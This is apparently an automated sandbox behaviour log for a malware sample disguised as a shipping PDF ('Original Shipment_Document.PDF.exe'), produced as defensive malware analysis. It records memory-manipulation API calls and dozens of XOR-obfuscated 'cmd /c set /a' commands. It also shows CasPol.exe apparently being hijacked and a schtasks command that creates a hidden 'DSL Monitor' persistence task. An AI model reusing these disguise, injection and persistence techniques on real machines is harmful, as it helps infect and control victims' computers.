Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280E29	1_2_03280E29
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281A2A	1_2_03281A2A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328122D	1_2_0328122D
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328022E	1_2_0328022E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280E24	1_2_03280E24
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280634	1_2_03280634
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03284608	1_2_03284608
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03293E12	1_2_03293E12
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280A15	1_2_03280A15
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280262	1_2_03280262
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328127B	1_2_0328127B
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281A72	1_2_03281A72
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289674	1_2_03289674
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280A5D	1_2_03280A5D
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280E5E	1_2_03280E5E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289A50	1_2_03289A50
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280EAA	1_2_03280EAA
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032802AC	1_2_032802AC
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032806B8	1_2_032806B8
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032872B9	1_2_032872B9
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032812B1	1_2_032812B1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03285EB7	1_2_03285EB7
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280A8B	1_2_03280A8B
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280EE5	1_2_03280EE5
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032802E6	1_2_032802E6
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032806E7	1_2_032806E7
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281AFE	1_2_03281AFE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281AD8	1_2_03281AD8
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280AD6	1_2_03280AD6
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328192B	1_2_0328192B
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280124	1_2_03280124
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328093B	1_2_0328093B
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289D34	1_2_03289D34
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280D08	1_2_03280D08
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281D09	1_2_03281D09
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280506	1_2_03280506
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281112	1_2_03281112
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328996C	1_2_0328996C
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328117F	1_2_0328117F
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280174	1_2_03280174
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281975	1_2_03281975
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328715C	1_2_0328715C
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280D52	1_2_03280D52
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280952	1_2_03280952
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032801A4	1_2_032801A4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032811BD	1_2_032811BD
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280DBE	1_2_03280DBE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032819B1	1_2_032819B1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280D89	1_2_03280D89
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328099F	1_2_0328099F
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032811ED	1_2_032811ED
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032871EE	1_2_032871EE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032805EF	1_2_032805EF
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032801E3	1_2_032801E3
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032819F6	1_2_032819F6
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032805C4	1_2_032805C4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032809DC	1_2_032809DC
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281020	1_2_03281020
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03290825	1_2_03290825
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328083A	1_2_0328083A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280C3B	1_2_03280C3B
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281833	1_2_03281833
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280005	1_2_03280005
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281C18	1_2_03281C18
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03293019	1_2_03293019
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289C19	1_2_03289C19
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280013	1_2_03280013
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328186C	1_2_0328186C
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0329246F	1_2_0329246F
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280463	1_2_03280463
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328087E	1_2_0328087E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03286C42	1_2_03286C42
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280054	1_2_03280054
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281C56	1_2_03281C56
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03286C56	1_2_03286C56
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032898BD	1_2_032898BD
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280C80	1_2_03280C80
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03287485	1_2_03287485
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280098	1_2_03280098
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032860F9	1_2_032860F9
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281CCC	1_2_03281CCC
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032898C0	1_2_032898C0
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280CC1	1_2_03280CC1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032808C4	1_2_032808C4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032804C5	1_2_032804C5
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032810DE	1_2_032810DE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 140_2_051504B0	140_2_051504B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 140_2_05150938	140_2_05150938

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0329371A NtResumeThread,	1_2_0329371A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03290DE4 NtAllocateVirtualMemory,	1_2_03290DE4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03292895 NtProtectVirtualMemory,	1_2_03292895

Source: Original Shipment_Document.PDF.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: Original Shipment_Document.PDF.exe

Static PE information: invalid certificate

Source: Original Shipment_Document.PDF.exe	Virustotal: Detection: 32%
Source: Original Shipment_Document.PDF.exe	ReversingLabs: Detection: 22%

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

File read: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Jump to behavior

Source: Original Shipment_Document.PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe "C:\Users\user\Desktop\Original Shipment_Document.PDF.exe"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697965^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x49796569^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307571^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216D75^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09703C6B^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7578^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0363032C^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B2D2024^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x55183929^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x563A7D2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09753C65^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216675^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697965^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5079653D^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0D697C35^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6478^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630620^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x572D3037^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x11307537^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0C75752C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19686375^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697569^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x10307B37^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A64721C^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630720^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x583D132C^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x553C7D2C^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7965^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15733C65^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697C2C^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6678^962155845"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A6B6F7F^962155845"
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\Original Shipment_Document.PDF.exe"
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.eXe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
